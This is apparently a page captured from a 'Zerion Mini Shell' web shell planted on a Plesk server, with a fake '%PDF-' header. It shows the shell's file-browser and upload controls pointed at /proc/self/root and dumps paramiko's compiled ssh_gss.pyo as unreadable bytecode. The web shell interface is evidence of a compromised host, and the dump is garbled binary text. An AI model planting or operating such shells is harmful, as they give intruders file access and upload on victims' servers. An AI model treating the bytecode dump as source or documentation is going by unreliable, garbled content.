%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyo

�
��Abc@s�ddlZddlZddlZeZdZdZydddlZe	ed�rxej
dkrxdZejfZn!dZejj
ejjjfZWnqeefk
r
y:ddlZddlZddlZdZejfZWqek
r	eZdZqXnXddlmZddlmZdd	lmZed
�Zdefd��YZ d
e fd��YZ!edkr�e!Z"nde fd��YZ#de fd��YZ$dS(i����Nt	__title__s
python-gssapitMITsPYTHON-GSSAPI-NEWtSSPI(tMSG_USERAUTH_REQUEST(tSSHException(t__version_info__cCsjtdkrt||�Stdkr2t||�StdkrZtjdkrZt||�Std��dS(NRsPYTHON-GSSAPI-NEWRtnts)Unable to import a GSS-API / SSPI module!(t_APIt_SSH_GSSAPI_OLDt_SSH_GSSAPI_NEWtostnamet	_SSH_SSPItImportError(tauth_methodtgss_deleg_creds((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytGSSAuthNs


t_SSH_GSSAuthcBsJeZd�Zd�Zd�Zdd�Zd�Zd�Zd�ZRS(cCsp||_||_d|_d|_d|_d|_d|_d|_t	|_
d|_t	|_d|_
dS(Nsssh-connections1.2.840.113554.1.2.2(t_auth_methodt_gss_deleg_credstNonet	_gss_hostt	_usernamet_session_idt_servicet
_krb5_mecht	_gss_ctxttFalset_gss_ctxt_statust
_gss_srv_ctxtt_gss_srv_ctxt_statustcc_file(tselfRR((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyt__init__ts											cCs|jd�r||_ndS(Nsssh-(tfindR(R tservice((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytset_service�scCs
||_dS(N(R(R tusername((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytset_username�stclientcCs|ddlm}ddlm}|jd�}|j||j��}|jt|��}|dkrp||S|||S(Ni����(tObjectIdentifier(tencoderitserver(tpyasn1.type.univR(tpyasn1.codec.derR)t_make_uint32tencodeRtlen(R tmodeR(R)tOIDstkrb5_OIDtOID_len((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytssh_gss_oids�scCsBddlm}|j|�\}}|j�|jkr>tStS(Ni����(tdecoder(R,R5tdecodet__str__RRtTrue(R tdesired_mechR5tmecht__((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytssh_check_mech�s
cCstjd|�S(Ns!I(tstructtpack(R tinteger((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyR-�scCs�|jt|��}||7}|tjdt�7}||jt|��7}||j�7}||jt|��7}||j�7}||jt|��7}||j�7}|S(NtB(R-R/R=R>RR.(R t
session_idR%R#Rtmic((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyt_ssh_build_mic�s
(	t__name__t
__module__R!R$R&R4R<R-RC(((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRns							RcBs_eZd�Zdddd�Zed�Zdd�Zdd�Ze	d��Z
d�ZRS(cCs_tj|||�|jr@tjtjtjtjf|_ntjtjtjf|_dS(N(	RR!RtgssapitC_PROT_READY_FLAGtC_INTEG_FLAGt
C_MUTUAL_FLAGtC_DELEG_FLAGt
_gss_flags(R RR((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyR!�s	c
Cs�ddlm}||_||_tjd|jtj�}tj�}|j|_	|dkrztjj|j
�}nN|j|�\}	}
|	j�|j
kr�td��ntjj|j
�}d}y[|dkrtjd|d|d|j	�|_|jj|�}n|jj|�}WnBtjk
rmdjtj�d	|j�}tj|��nX|jj|_|S(
Ni����(R5shost@sUnsupported mechanism OID.t	peer_namet	mech_typet	req_flagss
{} Target: {}i(R,R5RRRFtNametC_NT_HOSTBASED_SERVICEtContextRKtflagsRtOIDtmech_from_stringRR6R7RtInitContextRtsteptGSSExceptiontformattsystexc_infotestablishedR(
R ttargetR9R%t
recv_tokenR5t	targ_nametctxt	krb5_mechR:R;ttokentmessage((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytssh_init_sec_context
s6			cCsa||_|sH|j|j|j|j|j�}|jj|�}n|jj|j�}|S(N(RRCRRRRtget_micR(R RAtgss_kext	mic_fieldt	mic_token((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytssh_get_micAs
	cCsX||_||_|jdkr3tj�|_n|jj|�}|jj|_|S(N(	RRRRRFt
AcceptContextRVR[R(R thostnameR]R%Ra((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytssh_accept_sec_context\s		cCsu||_||_|jdk	r[|j|j|j|j|j�}|jj||�n|jj|j|�dS(N(	RRRRCRRRt
verify_micR(R RgRAR%Rf((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyt
ssh_check_micps
		cCs|jjdk	rtStS(N(Rtdelegated_credRR8R(R ((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytcredentials_delegated�scCs
t�dS(N(tNotImplementedError(R tclient_token((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pytsave_client_creds�sN(RDRER!RRcRRhRkRmtpropertyRoRr(((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyR�s	3iiR	cBs_eZd�Zdddd�Zed�Zdd�Zdd�Ze	d��Z
d�ZRS(cCsttj|||�|jrLtjjtjjtjjtjjf|_	n$tjjtjjtjjf|_	dS(N(
RR!RRFtRequirementFlagtprotection_readyt	integritytmutual_authenticationtdelegate_to_peerRK(R RR((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyR!�s						c	Csddlm}||_||_tjd|jdtjj�}|dk	r�|j	|�\}}|j
�|jkr�td��q�ntj
j}	d}
|dkr�tjd|d|jd|	d	d
�|_|jj|
�}
n|jj|�}
|jj|_|
S(Ni����(R5shost@t	name_typesUnsupported mechanism OID.RRRR:tusagetinitiate(R,R5RRRFROtNameTypethostbased_serviceRR6R7RRtMechTypetkerberostSecurityContextRKRRVtcompleteR(R R\R9R%R]R5R^R:R;R`Ra((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRc�s,		
		cCsa||_|sH|j|j|j|j|j�}|jj|�}n|jj|j�}|S(N(RRCRRRRt
get_signatureR(R RAReRfRg((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRh�s	cCs^||_||_|jdkr9tjdd�|_n|jj|�}|jj|_|S(NRztaccept(	RRRRRFR�RVR�R(R RjR]R%Ra((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRks		cCsu||_||_|jdk	r[|j|j|j|j|j�}|jj||�n|jj|j|�dS(N(	RRRRCRRRtverify_signatureR(R RgRAR%Rf((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRm$s
		cCs|jjdk	rtStS(N(Rtdelegated_credsRR8R(R ((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRo>scCs
t�dS(N(Rp(R Rq((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRrJs
N(RDRER!RRcRRhRkRmRsRoRr(((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyR	�s	-RcBs\eZd�Zdddd�Zed�Zd�Zdd�Ze	d��Z
d�ZRS(cCsPtj|||�|jr9tjtjBtjB|_ntjtjB|_dS(N(RR!RtsspicontISC_REQ_INTEGRITYtISC_REQ_MUTUAL_AUTHtISC_REQ_DELEGATERK(R RR((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyR!^s	cCs/ddlm}||_||_d}d|j}|dk	r}|j|�\}}	|j�|jkr}td��q}nyY|dkr�t	j
dd|jd|�|_n|jj
|�\}}
|
dj}
Wn4tjk
r}|jd	j|j�7_�nX|dkr+t|_d}
n|
S(
Ni����(R5ishost/sUnsupported mechanism OID.tKerberostscflagst	targetspns, Target: {}(R,R5RRRR6R7RRtsspit
ClientAuthRKRt	authorizetBuffert
pywintypesterrortstrerrorRXR8R(R R\R9R%R]R5R�R^R:R;Rate((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRcqs.		
	cCsa||_|sH|j|j|j|j|j�}|jj|�}n|jj|j�}|S(N(RRCRRRRtsignR(R RAReRfRg((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRh�s
	cCs~||_||_d|j}tjdd|�|_|jj|�\}}|dj}|dkrzt|_d}n|S(Nshost/R�tspni(
RRR�t
ServerAuthRR�R�R8RR(R RjR%R]R^R�Ra((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRk�s		

		cCsr||_||_|dk	rX|j|j|j|j|j�}|jj||�n|jj|j|�dS(N(	RRRRCRRRtverifyR(R RgRAR%Rf((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRm�s
		cCs |jtj@o|jp|jS(N(RKR�R�R(R ((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRo�scCs
t�dS(N(Rp(R Rq((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRr�sN(RDRER!RRcRRhRkRmRsRoRr(((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyRWs	3	((ii(%R=R
RYR8tGSS_AUTH_AVAILABLEtGSS_EXCEPTIONSRRRFthasattrRRWt
exceptionstGeneralErrortrawtmisctGSSErrorR
tOSErrorR�R�R�R�Rtparamiko.commonRtparamiko.ssh_exceptionRtparamiko._versionRRtobjectRRt_SSH_GSSAPIR	R(((sE/opt/plesk/python/2.7/lib/python2.7/site-packages/paramiko/ssh_gss.pyt<module> sB	
 ��	�

Zerion Mini Shell 1.0